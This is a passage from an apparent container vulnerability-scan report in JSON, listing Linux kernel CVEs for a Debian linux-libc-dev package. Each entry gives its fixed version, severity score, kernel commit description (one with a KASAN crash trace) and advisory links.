"https://git.kernel.org/stable/c/2665887a69437a8a4f552f69509eecfb73d4aa19", "https://git.kernel.org/stable/c/5133b61aaf437e5f25b1b396b14242a6bb0508e2", "https://git.kernel.org/stable/c/8afb437ea1f70cacb4bbdf11771fb5c4d720b965", "https://git.kernel.org/stable/c/ae8498337dfdfda71bdd0b807c9a23a126011d76", "https://git.kernel.org/stable/c/c9452c0797c95cf2378170df96cf4f4b3bca7eff", "https://git.kernel.org/stable/c/dad0c3c0a8e5d1d6eb0fc455694ce3e25e6c57d0", "https://git.kernel.org/stable/c/f9fcb4441f6c02bb20c2eb340101e27dfe23607c", "https://linux.oracle.com/cve/CVE-2026-31402.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026040327-CVE-2026-31402-3e6a@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31402", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31402.json", "https://ubuntu.com/security/notices/USN-8490-1", "https://ubuntu.com/security/notices/USN-8490-2", "https://ubuntu.com/security/notices/USN-8491-1", "https://ubuntu.com/security/notices/USN-8492-1", "https://ubuntu.com/security/notices/USN-8492-2", "https://ubuntu.com/security/notices/USN-8492-3", "https://ubuntu.com/security/notices/USN-8492-4", "https://ubuntu.com/security/notices/USN-8492-5", "https://ubuntu.com/security/notices/USN-8493-1", "https://ubuntu.com/security/notices/USN-8493-2", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8498-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8501-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8527-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8529-1", "https://ubuntu.com/security/notices/USN-8529-2", "https://ubuntu.com/security/notices/USN-8530-1", "https://ubuntu.com/security/notices/USN-8530-2", "https://ubuntu.com/security/notices/USN-8545-1", "https://ubuntu.com/security/notices/USN-8546-1", "https://ubuntu.com/security/notices/USN-8547-1", "https://ubuntu.com/security/notices/USN-8547-2", "https://ubuntu.com/security/notices/USN-8548-1", "https://ubuntu.com/security/notices/USN-8548-2", "https://ubuntu.com/security/notices/USN-8604-1", "https://ubuntu.com/security/notices/USN-8605-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8615-1", "https://ubuntu.com/security/notices/USN-8615-2", "https://ubuntu.com/security/notices/USN-8616-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8635-1", "https://ubuntu.com/security/notices/USN-8667-1", "https://www.cve.org/CVERecord?id=CVE-2026-31402" ], "PublishedDate": "2026-04-03T16:16:39.283Z", "LastModifiedDate": "2026-10-19T19:17:51.35Z" }, { "VulnerabilityID": "CVE-2026-31419", "VendorIDs": [ "DSA-6381-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31419", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2ed70043a30d341d6402f3d442be0892c5d12cd9af1ab330fe4d54a30f8bac33", "Title": "kernel: Linux kernel: Use-after-free in bonding driver leads to denial of service", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: bonding: fix use-after-free in bond_xmit_broadcast()\n\nbond_xmit_broadcast() reuses the original skb for the last slave\n(determined by bond_is_last_slave()) and clones it for others.\nConcurrent slave enslave/release can mutate the slave list during\nRCU-protected iteration, changing which slave is \"last\" mid-loop.\nThis causes the original skb to be double-consumed (double-freed).\n\nReplace the racy bond_is_last_slave() check with a simple index\ncomparison (i + 1 == slaves_count) against the pre-snapshot slave\ncount taken via READ_ONCE() before the loop. This preserves the\nzero-copy optimization for the last slave while making the \"last\"\ndetermination stable against concurrent list mutations.\n\nThe UAF can trigger the following crash:\n\n==================================================================\nBUG: KASAN: slab-use-after-free in skb_clone\nRead of size 8 at addr ffff888100ef8d40 by task exploit/147\n\nCPU: 1 UID: 0 PID: 147 Comm: exploit Not tainted 7.0.0-rc3+ #4 PREEMPTLAZY\nCall Trace:\n \u003cTASK\u003e\n dump_stack_lvl (lib/dump_stack.c:123)\n print_report (mm/kasan/report.c:379 mm/kasan/report.c:482)\n kasan_report (mm/kasan/report.c:597)\n skb_clone (include/linux/skbuff.h:1724 include/linux/skbuff.h:1792 include/linux/skbuff.h:3396 net/core/skbuff.c:2108)\n bond_xmit_broadcast (drivers/net/bonding/bond_main.c:5334)\n bond_start_xmit (drivers/net/bonding/bond_main.c:5567 drivers/net/bonding/bond_main.c:5593)\n dev_hard_start_xmit (include/linux/netdevice.h:5325 include/linux/netdevice.h:5334 net/core/dev.c:3871 net/core/dev.c:3887)\n __dev_queue_xmit (include/linux/netdevice.h:3601 net/core/dev.c:4838)\n ip6_finish_output2 (include/net/neighbour.h:540 include/net/neighbour.h:554 net/ipv6/ip6_output.c:136)\n ip6_finish_output (net/ipv6/ip6_output.c:208 net/ipv6/ip6_output.c:219)\n ip6_output (net/ipv6/ip6_output.c:250)\n ip6_send_skb (net/ipv6/ip6_output.c:1985)\n udp_v6_send_skb (net/ipv6/udp.c:1442)\n udpv6_sendmsg (net/ipv6/udp.c:1733)\n __sys_sendto (net/socket.c:730 net/socket.c:742 net/socket.c:2206)\n __x64_sys_sendto (net/socket.c:2209)\n do_syscall_64 (arch/x86/entry/syscall_64.c:63 arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n \u003c/TASK\u003e\n\nAllocated by task 147:\n\nFreed by task 147:\n\nThe buggy address belongs to the object at ffff888100ef8c80\n which belongs to the cache skbuff_head_cache of size 224\nThe buggy address is located 192 bytes inside of\n freed 224-byte region [ffff888100ef8c80, ffff888100ef8d60)\n\nMemory state around the buggy address:\n ffff888100ef8c00: fb fb fb fb fc fc fc fc fc fc fc fc fc fc fc fc\n ffff888100ef8c80: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n\u003effff888100ef8d00: fb fb fb fb fb fb fb fb fb fb fb fb fc fc fc fc\n ^\n ffff888100ef8d80: fc fc fc fc fc fc fc fc fa fb fb fb fb fb fb fb\n ffff888100ef8e00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n==================================================================", "Severity": "HIGH", "CweIDs": [ "CWE-416", "CWE-362" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:13566", "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:21209", "https://access.redhat.com/errata/RHSA-2026:22334", "https://access.redhat.com/errata/RHSA-2026:22900", "https://access.redhat.com/errata/RHSA-2026:22940", "https://access.redhat.com/errata/RHSA-2026:23224", "https://access.redhat.com/errata/RHSA-2026:25191", "https://access.redhat.com/errata/RHSA-2026:25217", "https://access.redhat.com/errata/RHSA-2026:27353", "https://access.redhat.com/errata/RHSA-2026:27354", "https://access.redhat.com/errata/RHSA-2026:35870", "https://access.redhat.com/errata/RHSA-2026:36172", "https://access.redhat.com/errata/RHSA-2026:36530", "https://access.redhat.com/errata/RHSA-2026:36531", "https://access.redhat.com/errata/RHSA-2026:36532", "https://access.redhat.com/errata/RHSA-2026:36533", "https://access.redhat.com/errata/RHSA-2026:36534", "https://access.redhat.com/security/cve/CVE-2026-31419", "https://bugzilla.redhat.com/2440630", "https://bugzilla.redhat.com/2457829", "https://bugzilla.redhat.com/2460641", "https://bugzilla.redhat.com/2461471", "https://bugzilla.redhat.com/2464351", "https://bugzilla.redhat.com/2464449", "https://bugzilla.redhat.com/2467005", "https://bugzilla.redhat.com/2467234", "https://bugzilla.redhat.com/2480457", "https://bugzilla.redhat.com/2482166", "https://bugzilla.redhat.com/2482532", "https://bugzilla.redhat.com/show_bug.cgi?id=2440630", "https://bugzilla.redhat.com/show_bug.cgi?id=2457829", "https://bugzilla.redhat.com/show_bug.cgi?id=2460641", "https://bugzilla.redhat.com/show_bug.cgi?id=2461471", "https://bugzilla.redhat.com/show_bug.cgi?id=2464351", "https://bugzilla.redhat.com/show_bug.cgi?id=2464449", "https://bugzilla.redhat.com/show_bug.cgi?id=2467005", "https://bugzilla.redhat.com/show_bug.cgi?id=2467234", "https://bugzilla.redhat.com/show_bug.cgi?id=2480457", "https://bugzilla.redhat.com/show_bug.cgi?id=2482166", "https://bugzilla.redhat.com/show_bug.cgi?id=2482532", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23216", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31419", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31508", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31581", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43056", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43125", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43501", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46181", "https://errata.almalinux.org/9/ALSA-2026-25217.html", "https://errata.rockylinux.org/RLSA-2026:25217", "https://git.kernel.org/linus/2884bf72fb8f03409e423397319205de48adca16%20%287.0-rc7%29", "https://git.kernel.org/stable/c/00752893f96b344f258c9c6de18b33171ac4872c", "https://git.kernel.org/stable/c/060d83bb6147c36fc21134d5b332d266b8c176bc", "https://git.kernel.org/stable/c/2884bf72fb8f03409e423397319205de48adca16", "https://git.kernel.org/stable/c/2de5c8eea0a9db99dae7c36f4b541b74b41d3a04", "https://git.kernel.org/stable/c/a0f661918edc79d7a75e468128af8d41e2a1a83a", "https://git.kernel.org/stable/c/d4cc7e4c80b1634c7b1497574a2fdb18df6c026c", "https://git.kernel.org/stable/c/df690112b2172e8eb0f4dd8ec1019b65ee979203", "https://git.kernel.org/stable/c/f5b94654a4a19891a8108d66ef166de6c028c6cd", "https://linux.oracle.com/cve/CVE-2026-31419.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026041353-CVE-2026-31419-e176@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31419", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31419.json", "https://ubuntu.com/security/notices/USN-8277-1", "https://ubuntu.com/security/notices/USN-8277-2", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8279-1", "https://ubuntu.com/security/notices/USN-8279-2", "https://ubuntu.com/security/notices/USN-8279-3", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8305-1", "https://ubuntu.com/security/notices/USN-8305-2", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8350-1", "https://ubuntu.com/security/notices/USN-8351-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8508-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://www.cve.org/CVERecord?id=CVE-2026-31419" ], "PublishedDate": "2026-04-13T14:16:11.447Z", "LastModifiedDate": "2026-10-30T13:18:39.26Z" }, { "VulnerabilityID": "CVE-2026-31430", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31430", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8bc775428d264800bd3223def39fb518c2f75152cd0adef2dc67d1d216593202", "Title": "kernel: X.509: Fix out-of-bounds access when parsing extensions", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nX.509: Fix out-of-bounds access when parsing extensions\n\nLeo reports an out-of-bounds access when parsing a certificate with\nempty Basic Constraints or Key Usage extension because the first byte of\nthe extension is read before checking its length. Fix it.\n\nThe bug can be triggered by an unprivileged user by submitting a\nspecially crafted certificate to the kernel through the keyrings(7) API.\nLeo has demonstrated this with a proof-of-concept program responsibly\ndisclosed off-list.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L", "V3Score": 6.6 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-31430", "https://git.kernel.org/linus/d702c3408213bb12bd570bb97204d8340d141c51%20%287.0%29", "https://git.kernel.org/stable/c/206121294b9cf27f0589857f80d64f87e496ffb2", "https://git.kernel.org/stable/c/30ab358fad0c7daa1d282ec48089901b21b36a20", "https://git.kernel.org/stable/c/672b526def1f94c1be8eb11b885b803da0d8c2f1", "https://git.kernel.org/stable/c/7fb4dadc2734f4020d7543d688b8d49c8e569c61", "https://git.kernel.org/stable/c/d702c3408213bb12bd570bb97204d8340d141c51", "https://linux.oracle.com/cve/CVE-2026-31430.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042008-CVE-2026-31430-299d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31430", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://www.cve.org/CVERecord?id=CVE-2026-31430" ], "PublishedDate": "2026-04-20T10:16:16.877Z", "LastModifiedDate": "2026-11-05T22:18:31.233Z" }, { "VulnerabilityID": "CVE-2026-31431", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31431", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:00459009f7e325b658e67b6417823f9b33a550bd0334322759165f0a2789a1fa", "Title": "kernel: crypto: algif_aead - Revert to operating out-of-place", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: algif_aead - Revert to operating out-of-place\n\nThis mostly reverts commit 72548b093ee3 except for the copying of\nthe associated data.\n\nThere is no benefit in operating in-place in algif_aead since the\nsource and destination come from different mappings. Get rid of\nall the complexity added for in-place operation and just copy the\nAD directly.", "Severity": "HIGH", "CweIDs": [ "CWE-669", "CWE-1288" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31431", "http://www.openwall.com/lists/oss-security/2026/04/29/23", "http://www.openwall.com/lists/oss-security/2026/04/29/25", "http://www.openwall.com/lists/oss-security/2026/04/29/26", "http://www.openwall.com/lists/oss-security/2026/04/30/10", "http://www.openwall.com/lists/oss-security/2026/04/30/11", "http://www.openwall.com/lists/oss-security/2026/04/30/12", "http://www.openwall.com/lists/oss-security/2026/04/30/14", "http://www.openwall.com/lists/oss-security/2026/04/30/15", "http://www.openwall.com/lists/oss-security/2026/04/30/16", "http://www.openwall.com/lists/oss-security/2026/04/30/17", "http://www.openwall.com/lists/oss-security/2026/04/30/18", "http://www.openwall.com/lists/oss-security/2026/04/30/2", "http://www.openwall.com/lists/oss-security/2026/04/30/20", "http://www.openwall.com/lists/oss-security/2026/04/30/5", "http://www.openwall.com/lists/oss-security/2026/04/30/6", "http://www.openwall.com/lists/oss-security/2026/05/01/10", "http://www.openwall.com/lists/oss-security/2026/05/01/12", "http://www.openwall.com/lists/oss-security/2026/05/01/15", "http://www.openwall.com/lists/oss-security/2026/05/01/16", "http://www.openwall.com/lists/oss-security/2026/05/01/17", "http://www.openwall.com/lists/oss-security/2026/05/01/18", "http://www.openwall.com/lists/oss-security/2026/05/01/2", "http://www.openwall.com/lists/oss-security/2026/05/01/22", "http://www.openwall.com/lists/oss-security/2026/05/01/23", "http://www.openwall.com/lists/oss-security/2026/05/01/24", "http://www.openwall.com/lists/oss-security/2026/05/01/3", "http://www.openwall.com/lists/oss-security/2026/05/02/14", "http://www.openwall.com/lists/oss-security/2026/05/02/15", "http://www.openwall.com/lists/oss-security/2026/05/02/16", "http://www.openwall.com/lists/oss-security/2026/05/02/17", "http://www.openwall.com/lists/oss-security/2026/05/02/18", "http://www.openwall.com/lists/oss-security/2026/05/02/19", "http://www.openwall.com/lists/oss-security/2026/05/02/20", "http://www.openwall.com/lists/oss-security/2026/05/02/21", "http://www.openwall.com/lists/oss-security/2026/05/02/23", "http://www.openwall.com/lists/oss-security/2026/05/02/24", "http://www.openwall.com/lists/oss-security/2026/05/02/25", "http://www.openwall.com/lists/oss-security/2026/05/02/4", "http://www.openwall.com/lists/oss-security/2026/05/02/5", "http://www.openwall.com/lists/oss-security/2026/05/02/6", "http://www.openwall.com/lists/oss-security/2026/05/02/7", "http://www.openwall.com/lists/oss-security/2026/05/02/8", "http://www.openwall.com/lists/oss-security/2026/05/03/10", "http://www.openwall.com/lists/oss-security/2026/05/03/12", "http://www.openwall.com/lists/oss-security/2026/05/03/13", "http://www.openwall.com/lists/oss-security/2026/05/03/3", "http://www.openwall.com/lists/oss-security/2026/05/03/4", "http://www.openwall.com/lists/oss-security/2026/05/03/5", "http://www.openwall.com/lists/oss-security/2026/05/03/6", "http://www.openwall.com/lists/oss-security/2026/05/04/1", "http://www.openwall.com/lists/oss-security/2026/05/04/10", "http://www.openwall.com/lists/oss-security/2026/05/04/11", "http://www.openwall.com/lists/oss-security/2026/05/04/12", "http://www.openwall.com/lists/oss-security/2026/05/04/13", "http://www.openwall.com/lists/oss-security/2026/05/04/14", "http://www.openwall.com/lists/oss-security/2026/05/04/2", "http://www.openwall.com/lists/oss-security/2026/05/04/24", "http://www.openwall.com/lists/oss-security/2026/05/04/27", "http://www.openwall.com/lists/oss-security/2026/05/04/28", "http://www.openwall.com/lists/oss-security/2026/05/04/29", "http://www.openwall.com/lists/oss-security/2026/05/04/31", "http://www.openwall.com/lists/oss-security/2026/05/04/8", "http://www.openwall.com/lists/oss-security/2026/05/04/9", "http://www.openwall.com/lists/oss-security/2026/05/06/5", "http://www.openwall.com/lists/oss-security/2026/05/07/12", "http://www.openwall.com/lists/oss-security/2026/05/07/2", "http://www.openwall.com/lists/oss-security/2026/05/08/13", "http://www.openwall.com/lists/oss-security/2026/05/18/3", "https://access.redhat.com/articles/7141989", "https://access.redhat.com/errata/RHSA-2026:13565", "https://access.redhat.com/errata/RHSA-2026:13566", "https://access.redhat.com/errata/RHSA-2026:13577", "https://access.redhat.com/errata/RHSA-2026:13578", "https://access.redhat.com/errata/RHSA-2026:13681", "https://access.redhat.com/errata/RHSA-2026:13690", "https://access.redhat.com/errata/RHSA-2026:13727", "https://access.redhat.com/errata/RHSA-2026:13729", "https://access.redhat.com/errata/RHSA-2026:13734", "https://access.redhat.com/errata/RHSA-2026:13811", "https://access.redhat.com/errata/RHSA-2026:13862", "https://access.redhat.com/errata/RHSA-2026:13885", "https://access.redhat.com/errata/RHSA-2026:13887", "https://access.redhat.com/errata/RHSA-2026:13932", "https://access.redhat.com/errata/RHSA-2026:13936", "https://access.redhat.com/errata/RHSA-2026:14097", "https://access.redhat.com/errata/RHSA-2026:14112", "https://access.redhat.com/errata/RHSA-2026:14137", "https://access.redhat.com/errata/RHSA-2026:14165", "https://access.redhat.com/errata/RHSA-2026:14230", "https://access.redhat.com/errata/RHSA-2026:14301", "https://access.redhat.com/errata/RHSA-2026:14339", "https://access.redhat.com/errata/RHSA-2026:14773", "https://access.redhat.com/errata/RHSA-2026:14926", "https://access.redhat.com/errata/RHSA-2026:15087", "https://access.redhat.com/errata/RHSA-2026:15976", "https://access.redhat.com/errata/RHSA-2026:15978", "https://access.redhat.com/errata/RHSA-2026:16018", "https://access.redhat.com/errata/RHSA-2026:16063", "https://access.redhat.com/errata/RHSA-2026:16111", "https://access.redhat.com/errata/RHSA-2026:16208", "https://access.redhat.com/errata/RHSA-2026:16209", "https://access.redhat.com/errata/RHSA-2026:16210", "https://access.redhat.com/errata/RHSA-2026:19074", "https://access.redhat.com/errata/RHSA-2026:19225", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/security/cve/CVE-2026-31431", "https://access.redhat.com/security/cve/cve-2026-31431#cve-details-mitigation", "https://access.redhat.com/solutions/7141931", "https://access.redhat.com/solutions/7141979", "https://access.redhat.com/solutions/7141990", "https://access.redhat.com/solutions/7141996", "https://access.redhat.com/solutions/7142032", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2460538", "https://bugzilla.redhat.com/show_bug.cgi?id=2467022", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-082556.html", "https://cert-portal.siemens.com/productcert/html/ssa-265688.html", "https://cert-portal.siemens.com/productcert/html/ssa-328642.html", "https://copy.fail", "https://copy.fail/", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31431", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43077", "https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/9/html/managing_monitoring_and_updating_the_kernel/configuring-kernel-command-line-parameters_managing-monitoring-and-updating-the-kernel", "https://errata.almalinux.org/9/ALSA-2026-A002.html", "https://errata.rockylinux.org/RLSA-2026:13565", "https://git.kernel.org/linus/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5%20%287.0-rc7%29", "https://git.kernel.org/stable/c/19d43105a97be0810edbda875f2cd03f30dc130c", "https://git.kernel.org/stable/c/3115af9644c342b356f3f07a4dd1c8905cd9a6fc", "https://git.kernel.org/stable/c/893d22e0135fa394db81df88697fba6032747667", "https://git.kernel.org/stable/c/8b88d99341f139e23bdeb1027a2a3ae10d341d82", "https://git.kernel.org/stable/c/961cfa271a918ad4ae452420e7c303149002875b", "https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5", "https://git.kernel.org/stable/c/ce42ee423e58dffa5ec03524054c9d8bfd4f6237", "https://git.kernel.org/stable/c/fafe0fa2995a0f7073c1c358d7d3145bcc9aedd8", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.4.1/BRSA-qflqp6rcsegb.toml", "https://github.com/theori-io/copy-fail-CVE-2026-31431", "https://linux.oracle.com/cve/CVE-2026-31431.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/", "https://lore.kernel.org/linux-cve-announce/2026042214-CVE-2026-31431-3d65@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-31431", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-31431.json", "https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8226-1", "https://ubuntu.com/security/notices/USN-8277-1", "https://ubuntu.com/security/notices/USN-8277-2", "https://ubuntu.com/security/notices/USN-8278-1", "https://ubuntu.com/security/notices/USN-8278-2", "https://ubuntu.com/security/notices/USN-8279-1", "https://ubuntu.com/security/notices/USN-8279-2", "https://ubuntu.com/security/notices/USN-8279-3", "https://ubuntu.com/security/notices/USN-8280-1", "https://ubuntu.com/security/notices/USN-8280-2", "https://ubuntu.com/security/notices/USN-8280-3", "https://ubuntu.com/security/notices/USN-8281-1", "https://ubuntu.com/security/notices/USN-8281-2", "https://ubuntu.com/security/notices/USN-8289-1", "https://ubuntu.com/security/notices/USN-8289-2", "https://ubuntu.com/security/notices/USN-8305-1", "https://ubuntu.com/security/notices/USN-8305-2", "https://ubuntu.com/security/notices/USN-8310-1", "https://ubuntu.com/security/notices/USN-8350-1", "https://ubuntu.com/security/notices/USN-8351-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8391-1", "https://ubuntu.com/security/notices/USN-8392-1", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8441-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://websec.net/blog/cve-2026-31431-linux-algifaead-page-cache-write-to-root-69f38a4ccddd2db1f520f170", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-31431", "https://www.cve.org/CVERecord?id=CVE-2026-31431", "https://www.kb.cert.org/vuls/id/260001", "https://www.openwall.com/lists/oss-security/2026/04/29/23", "https://xint.io/blog/copy-fail-linux-distributions", "https://xint.io/blog/copy-fail-linux-distributions#the-fix-6" ], "PublishedDate": "2026-04-22T09:16:21.27Z", "LastModifiedDate": "2026-09-08T15:13:07.273Z" }, { "VulnerabilityID": "CVE-2026-31432", "VendorIDs": [ "DSA-6238-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.85-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-31432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c395f3bf2e01cb9abb4049a0f9800975277d3558a203aefa07d11e97ffab2bcb", "Title": "kernel: ksmbd: fix OOB write in QUERY_INFO for compound requests", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix OOB write in QUERY_INFO for compound 